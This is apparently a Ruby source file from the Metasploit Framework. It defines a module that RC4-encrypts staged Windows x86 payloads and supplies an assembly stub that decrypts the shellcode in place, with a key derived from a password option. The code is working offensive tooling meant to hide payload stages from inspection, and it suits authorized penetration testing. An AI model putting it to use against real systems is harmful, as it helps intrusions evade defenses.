98 lines
2.8 KiB
Ruby
98 lines
2.8 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# RC4 decryption stub for Windows ARCH_X86 payloads
|
|
#
|
|
###
|
|
module Payload::Windows::Rc4
|
|
#
|
|
# Register rc4 specific options
|
|
#
|
|
def initialize(*args)
|
|
super
|
|
register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
|
|
end
|
|
|
|
#
|
|
# Generate assembly code that decrypts RC4 shellcode in-place
|
|
#
|
|
|
|
def asm_decrypt_rc4
|
|
%!
|
|
;-----------------------------------------------------------------------------;
|
|
; Author: Michael Schierl (schierlm[at]gmx[dot]de)
|
|
; Version: 1.0 (29 December 2012)
|
|
;-----------------------------------------------------------------------------;
|
|
; Input: EBP - Data to decode
|
|
; ECX - Data length
|
|
; ESI - Key (16 bytes for simplicity)
|
|
; EDI - pointer to 0x100 bytes scratch space for S-box
|
|
; Direction flag has to be cleared
|
|
; Output: None. Data is decoded in place.
|
|
; Clobbers: EAX, EBX, ECX, EDX, EBP (stack is not used)
|
|
|
|
; Initialize S-box
|
|
xor eax, eax ; Start with 0
|
|
init:
|
|
stosb ; Store next S-Box byte S[i] = i
|
|
inc al ; increase byte to write (EDI is increased automatically)
|
|
jnz init ; loop until we wrap around
|
|
sub edi, 0x100 ; restore EDI
|
|
; permute S-box according to key
|
|
xor ebx, ebx ; Clear EBX (EAX is already cleared)
|
|
permute:
|
|
add bl, [edi+eax] ; BL += S[AL] + KEY[AL % 16]
|
|
mov edx, eax
|
|
and dl, 0xF
|
|
add bl, [esi+edx]
|
|
mov dl, [edi+eax] ; swap S[AL] and S[BL]
|
|
xchg dl, [edi+ebx]
|
|
mov [edi+eax], dl
|
|
inc al ; AL += 1 until we wrap around
|
|
jnz permute
|
|
; decryption loop
|
|
xor ebx, ebx ; Clear EBX (EAX is already cleared)
|
|
decrypt:
|
|
inc al ; AL += 1
|
|
add bl, [edi+eax] ; BL += S[AL]
|
|
mov dl, [edi+eax] ; swap S[AL] and S[BL]
|
|
xchg dl, [edi+ebx]
|
|
mov [edi+eax], dl
|
|
add dl, [edi+ebx] ; DL = S[AL]+S[BL]
|
|
mov dl, [edi+edx] ; DL = S[DL]
|
|
xor [ebp], dl ; [EBP] ^= DL
|
|
inc ebp ; advance data pointer
|
|
dec ecx ; reduce counter
|
|
jnz decrypt ; until finished
|
|
!
|
|
end
|
|
|
|
def generate_stage(opts = {})
|
|
p = super(opts)
|
|
xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
|
|
c1 = OpenSSL::Cipher.new('RC4')
|
|
c1.decrypt
|
|
c1.key = rc4key
|
|
p = c1.update(p)
|
|
[ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
|
|
end
|
|
|
|
def handle_intermediate_stage(_conn, _payload)
|
|
false
|
|
end
|
|
|
|
private
|
|
|
|
def rc4_keys(rc4pass = '')
|
|
m = OpenSSL::Digest.new('sha1')
|
|
m.reset
|
|
key = m.digest(rc4pass)
|
|
[key[0, 4], key[4, 16]]
|
|
end
|
|
end
|
|
end
|